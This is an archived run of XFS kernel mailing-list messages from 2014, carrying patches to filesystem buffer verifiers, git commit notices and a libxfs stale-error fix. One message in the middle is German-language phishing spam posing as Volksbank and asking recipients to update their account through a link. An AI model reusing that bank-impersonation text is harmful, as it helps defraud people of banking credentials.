XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -209,17 +209,20 @@ static void xfs_da3_node_read_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_da_blkinfo *info = bp->b_addr; switch (be16_to_cpu(info->magic)) { case XFS_DA3_NODE_MAGIC: - if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) { + xfs_buf_ioerror(bp, EFSBADCRC); break; + } /* fall through */ case XFS_DA_NODE_MAGIC: - if (!xfs_da3_node_verify(bp)) + if (!xfs_da3_node_verify(bp)) { + xfs_buf_ioerror(bp, EFSCORRUPTED); break; + } return; case XFS_ATTR_LEAF_MAGIC: case XFS_ATTR3_LEAF_MAGIC: @@ -236,8 +239,7 @@ xfs_da3_node_read_verify( } /* corrupt block */ - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_da3_node_buf_ops = { diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 724377e..4f6a38c 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -89,12 +89,14 @@ xfs_dir3_block_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_block_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -106,8 +108,8 @@ xfs_dir3_block_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 74ae85e..afa4ad5 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -241,7 +241,6 @@ static void xfs_dir3_data_reada_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_dir2_data_hdr *hdr = bp->b_addr; switch (hdr->magic) { @@ -255,8 +254,8 @@ xfs_dir3_data_reada_verify( xfs_dir3_data_verify(bp); return; default: - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, hdr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); break; } } @@ -267,12 +266,14 @@ xfs_dir3_data_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_data_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -284,8 +285,8 @@ xfs_dir3_data_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index dffb61b..d36e97d 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -179,12 +179,14 @@ __read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || - !xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_leaf_verify(bp, magic)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -197,8 +199,8 @@ __write_verify( struct xfs_dir3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 0904b20..cb434d7 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -115,12 +115,14 @@ xfs_dir3_free_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || - !xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_free_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -132,8 +134,8 @@ xfs_dir3_free_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dquot_buf.c b/fs/xfs/xfs_dquot_buf.c index d401457..610da81 100644 --- a/fs/xfs/xfs_dquot_buf.c +++ b/fs/xfs/xfs_dquot_buf.c @@ -257,10 +257,13 @@ xfs_dquot_buf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_dquot_buf_verify_crc(mp, bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dquot_buf_verify(mp, bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } /* @@ -275,8 +278,8 @@ xfs_dquot_buf_write_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if (!xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } } diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 4657586..5959b3b 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1568,18 +1568,17 @@ xfs_agi_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agi_ok = 1; - if (xfs_sb_version_hascrc(&mp->m_sb)) - agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); - - agi_ok = agi_ok && xfs_agi_verify(bp); - - if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, - XFS_RANDOM_IALLOC_READ_AGI))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (XFS_TEST_ERROR(!xfs_agi_verify(bp), mp, + XFS_ERRTAG_IALLOC_READ_AGI, + XFS_RANDOM_IALLOC_READ_AGI)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -1590,8 +1589,8 @@ xfs_agi_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agi_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 0028c50..7e309b1 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -243,12 +243,14 @@ static void xfs_inobt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_inobt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_inobt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -258,9 +260,8 @@ xfs_inobt_write_verify( { if (!xfs_inobt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index 606b43a..24e9939 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -102,8 +102,7 @@ xfs_inode_buf_verify( } xfs_buf_ioerror(bp, EFSCORRUPTED); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, - mp, dip); + xfs_verifier_error(bp); #ifdef DEBUG xfs_alert(mp, "bad inode magic/vsn daddr %lld #%d (magic=%x)", diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 818359f..b134aa8 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -614,7 +614,7 @@ xfs_sb_read_verify( /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { - error = EFSCORRUPTED; + error = EFSBADCRC; goto out_error; } } @@ -623,10 +623,9 @@ xfs_sb_read_verify( out_error: if (error) { - if (error == EFSCORRUPTED) - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + if (error == EFSCORRUPTED || error == EFSBADCRC) + xfs_verifier_error(bp); } } @@ -661,9 +660,8 @@ xfs_sb_write_verify( error = xfs_sb_verify(bp, false); if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index defa09f..9b32052 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -133,11 +133,13 @@ xfs_symlink_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF) || - !xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_symlink_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -152,8 +154,8 @@ xfs_symlink_write_verify( return; if (!xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } From dgc@oss.sgi.com Wed Feb 19 22:23:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 1F25D7FEF; Wed, 19 Feb 2014 22:23:31 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-fixes-for-3.14-rc4, created. xfs-for-linus-v3.14-rc1-2-12926-g5ef11eb X-Git-Refname: refs/heads/xfs-fixes-for-3.14-rc4 X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: 5ef11eb0700f806c4671ba33e5befa784a2f70ef Message-Id: <20140220042331.1F25D7FEF@oss.sgi.com> Date: Wed, 19 Feb 2014 22:23:28 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-fixes-for-3.14-rc4 has been created at 5ef11eb0700f806c4671ba33e5befa784a2f70ef (commit) - Log ----------------------------------------------------------------- commit 5ef11eb0700f806c4671ba33e5befa784a2f70ef Author: Eric Sandeen Date: Wed Feb 19 15:39:35 2014 +1100 xfs: limit superblock corruption errors to actual corruption Today, if xfs_sb_read_verify xfs_sb_verify xfs_mount_validate_sb detects superblock corruption, it'll be extremely noisy, dumping 2 stacks, 2 hexdumps, etc. This is because we call XFS_CORRUPTION_ERROR in xfs_mount_validate_sb as well as in xfs_sb_read_verify. Also, *any* errors in xfs_mount_validate_sb which are not corruption per se; things like too-big-blocksize, bad version, bad magic, v1 dirs, rw-incompat etc - things which do not return EFSCORRUPTED - will still do the whole XFS_CORRUPTION_ERROR spew when xfs_sb_read_verify sees any error at all. And it suggests to the user that they should run xfs_repair, even if the root cause of the mount failure is a simple incompatibility. I'll submit that the probably-not-corrupted errors don't warrant this much noise, so this patch removes the warning for anything other than EFSCORRUPTED returns, and replaces the lower-level XFS_CORRUPTION_ERROR with an xfs_notice(). Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit daba5427dad6b260256053f914de2c0b79f7a79f Author: Eric Sandeen Date: Wed Feb 19 15:39:16 2014 +1100 xfs: skip verification on initial "guess" superblock read When xfs_readsb() does the very first read of the superblock, it makes a guess at the length of the buffer, based on the sector size of the underlying storage. This may or may not match the filesystem sector size in sb_sectsize, so we can't i.e. do a CRC check on it; it might be too short. In fact, mounting a filesystem with sb_sectsize larger than the device sector size will cause a mount failure if CRCs are enabled, because we are checksumming a length which exceeds the buffer passed to it. So always read twice; the first time we read with NULL buffer ops to skip verification; then set the proper read length, hook up the proper verifier, and give it another go. Once we are sure that we've got the right buffer length, we can also use bp->b_length in the xfs_sb_read_verify, rather than the less-trusted on-disk sectorsize for secondary superblocks. Before this we ran the risk of passing junk to the crc32c routines, which didn't always handle extreme values. Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 82daa86a77e592b38b7fa3f533173d1a3c1299a1 Author: Ben Myers Date: Wed Feb 19 15:38:22 2014 +1100 MAINTAINERS: SGI no longer maintaining XFS SGI is stepping out of maintainer roles for xfs, xfsprogs, xfsdump, and xfstests. This removes me from the MAINTAINERS entry. Signed-off-by: Ben Myers Signed-off-by: Dave Chinner commit 7a01e707a324a4585949ca3df6c7f7485d8783f2 Author: Eric Sandeen Date: Wed Feb 19 15:33:05 2014 +1100 xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb My earlier commit 10e6e65 deserves a layer or two of brown paper bags. The logic in that commit means that a CRC failure on the primary superblock will *never* result in an error return. Hopefully this fixes it, so that we always return the error if it's a primary superblock, otherwise only if the filesystem has CRCs enabled. Signed-off-by: Eric Sandeen Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Wed Feb 19 22:24:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 023BD802D; Wed, 19 Feb 2014 22:24:05 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12938-g027f185 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: a64b760771e85f54e0921fb05ac48b0585adccec X-Git-Newrev: 027f185e66eb24e2ea291ff3b93c1e4bd07b85b4 Message-Id: <20140220042405.023BD802D@oss.sgi.com> Date: Wed, 19 Feb 2014 22:24:03 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated discards a64b760771e85f54e0921fb05ac48b0585adccec (commit) discards 692f68aab2c794ed9bbb05da5c52c906d91885d0 (commit) discards 55daffa4198b405c5f595d46b5556be2f650cdd4 (commit) 027f185 Merge remote-tracking branch 'xfs-async-aio-extend' into for-next b678573 Merge branch 'xfs-fixes-for-3.15' into for-next 5ef11eb xfs: limit superblock corruption errors to actual corruption daba542 xfs: skip verification on initial "guess" superblock read 7a01e70 xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb from a64b760771e85f54e0921fb05ac48b0585adccec (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 027f185e66eb24e2ea291ff3b93c1e4bd07b85b4 Merge: b678573 9862f62 Author: Dave Chinner Date: Thu Feb 20 15:16:39 2014 +1100 Merge remote-tracking branch 'xfs-async-aio-extend' into for-next commit b678573e29749e7fe884c3a8e61c1cf1e1093987 Merge: 5ef11eb 492185e Author: Dave Chinner Date: Thu Feb 20 15:16:09 2014 +1100 Merge branch 'xfs-fixes-for-3.15' into for-next ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_mount.c | 24 ++++++++++++++++-------- fs/xfs/xfs_sb.c | 8 +++----- 2 files changed, 19 insertions(+), 13 deletions(-) hooks/post-receive -- XFS development tree From info@volksbank.de Wed Feb 19 23:22:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_EXTRA_CLOSE,HTML_MESSAGE, T_FRT_CONTACT autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0ABFC7F52 for ; Wed, 19 Feb 2014 23:22:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E66DE30408D for ; Wed, 19 Feb 2014 21:22:24 -0800 (PST) X-ASG-Debug-ID: 1392873732-04cbb00c2a5e2c50001-w1Z2WR Received: from smtp.sanluis.gov.ar (smtp.sanluis.gov.ar [64.215.200.35]) by cuda.sgi.com with ESMTP id qQWt1WkiDe7oErFO for ; Wed, 19 Feb 2014 21:22:15 -0800 (PST) X-Barracuda-Envelope-From: info@volksbank.de X-Barracuda-Apparent-Source-IP: 64.215.200.35 Received: from PS02-WDC.WOLFBLOCK.COM ([173.161.182.198]) by smtp.sanluis.gov.ar with Microsoft SMTPSVC(6.0.3790.4675); Thu, 20 Feb 2014 02:26:29 -0300 Content-Type: multipart/alternative; boundary="===============1471148710==" MIME-Version: 1.0 Subject: Sehr geehrter Kunde To: Me X-ASG-Orig-Subj: Sehr geehrter Kunde From: "VOLKS BANK" Date: Thu, 20 Feb 2014 00:20:26 -0500 Reply-To: info@volksbank.de Message-ID: X-OriginalArrivalTime: 20 Feb 2014 05:26:29.0619 (UTC) FILETIME=[4EECE430:01CF2DFC] X-Barracuda-Connect: smtp.sanluis.gov.ar[64.215.200.35] X-Barracuda-Start-Time: 1392873732 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.59 X-Barracuda-Spam-Status: No, SCORE=1.59 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_EXTRA_CLOSE, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145305 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.09 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address You will not see this in a MIME-aware mail reader. --===============1471148710== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Sehr geehrter Kunde, Als vorbeugende Ma=DFnahme alle unsere Kunden sind = erforderlich, um Bankkonto zu aktualisieren. Bitte durch diesen Link gehen,= um die Aktualisierung selbst zu tun. VOLKSBANK sicherzustellen, dass Sys= tem-Verifikation sorgen jeden Monat, um bessere Dienstleistungen f=FCr unse= re Kunden valable bereitzustellen. Nach dem Update wird sie einer unserer= Mitarbeiter kontaktieren, um den gesamten Prozess zu vervollstandigen. Wen= n der Vorgang abgeschlos werden Sie wie gewohnt, ihr online-Banking mit der= volks bank verwenden k=F6nnen. Wir wollen Ihnen im Voraus f=FCr Ihre Mit= arbeit danken. VOLKSBANK Mit freundlichen Gr=FC=DFen, VOLKSBANK. --===============1471148710== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Sehr geehrter Kunde,
 
Als vorbeugende Ma=DFnahme alle unsere Kunden sind erforderlich, um Ba= nkkonto zu aktualisieren. Bitte durch diesen Link gehen, um die Aktualisier= ung selbst zu tun.
 
VOLKSBANK sicherzustellen, dass System-Verifikation sorgen jeden Monat= , um bessere Dienstleistungen f=FCr unsere Kunden valable bereitzustellen.<= /DIV>
 
Nach dem Update wird sie einer unserer Mitarbeiter kontaktieren, um de= n gesamten Prozess zu vervollstandigen. Wenn der Vorgang abgeschlos
werden Sie wie gewohnt, ihr online-Banking mit der volks bank verwende= n k=F6nnen.
 
Wir wollen Ihnen im Voraus f=FCr Ihre Mitarbeit danken.
 
VOLKSBANK =
Mit freundlichen Gr=FC=DFen,
VOLKSBANK.
--===============1471148710==-- From dave@fromorbit.com Wed Feb 19 23:55:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 95DD07FA6 for ; Wed, 19 Feb 2014 23:55:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 55FD58F8073 for ; Wed, 19 Feb 2014 21:55:49 -0800 (PST) X-ASG-Debug-ID: 1392875746-04bdf00fc91b9730001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id EZaxMbYxPDXTUEeV for ; Wed, 19 Feb 2014 21:55:47 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIGAIGYBVN5LJYe/2dsb2JhbABZgwbCHRd0giUBAQUnLzMIGDE5AxsZiATOQI8BhCIEqlSDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 16:25:28 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WGMbV-00057H-Ps for xfs@oss.sgi.com; Thu, 20 Feb 2014 16:55:25 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WGMbV-0001CI-Ot for xfs@oss.sgi.com; Thu, 20 Feb 2014 16:55:25 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/2] libxfs: clear stale buffer errors on write Date: Thu, 20 Feb 2014 16:55:22 +1100 X-ASG-Orig-Subj: [PATCH 2/2] libxfs: clear stale buffer errors on write Message-Id: <1392875722-4390-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1392875722-4390-1-git-send-email-david@fromorbit.com> References: <1392875722-4390-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392875746 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145306 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner If we've read a buffer and it's had an error (e.g a bad CRC) and the caller corrects the problem with the buffer and writes it via libxfs_writebuf() without clearing the error on the buffer, subsequent reads of the buffer while it is still in cache can see that error and fail inappropriately. xfs/033 demonstrates this error, where phase 3 detects the corrupted root inode and clears, but doesn't clear the b_error field. Later in phase 6, the code that rebuilds the root directory tries to read the root inode and sees a buffer with an error on it, thereby triggering a fatal repair failure: Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 xfs_inode_buf_verify: XFS_CORRUPTION_ERROR bad magic number 0x0 on inode 64 .... cleared root inode 64 .... Phase 6 - check inode connectivity... reinitializing root directory xfs_imap_to_bp: xfs_trans_read_buf() returned error 117. fatal error -- could not iget root inode -- error - 117 # Fix this by assuming buffers that are written are clean and correct and hence we can zero the b_error field before retiring the buffer to the cache. Reported-by: Eric Sandeen Signed-off-by: Dave Chinner --- libxfs/rdwr.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 78a9b37..d0ff15b 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -890,6 +890,11 @@ libxfs_writebufr(xfs_buf_t *bp) int libxfs_writebuf_int(xfs_buf_t *bp, int flags) { + /* + * Clear any error hanging over from reading the buffer. This prevents + * subsequent reads after this write from seeing stale errors. + */ + bp->b_error = 0; bp->b_flags |= (LIBXFS_B_DIRTY | flags); return 0; } @@ -903,6 +908,11 @@ libxfs_writebuf(xfs_buf_t *bp, int flags) (long long)LIBXFS_BBTOOFF64(bp->b_bn), (long long)bp->b_bn); #endif + /* + * Clear any error hanging over from reading the buffer. This prevents + * subsequent reads after this write from seeing stale errors. + */ + bp->b_error = 0; bp->b_flags |= (LIBXFS_B_DIRTY | flags); libxfs_putbuf(bp); return 0; -- 1.8.4.rc3 From dave@fromorbit.com Wed Feb 19 23:55:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: 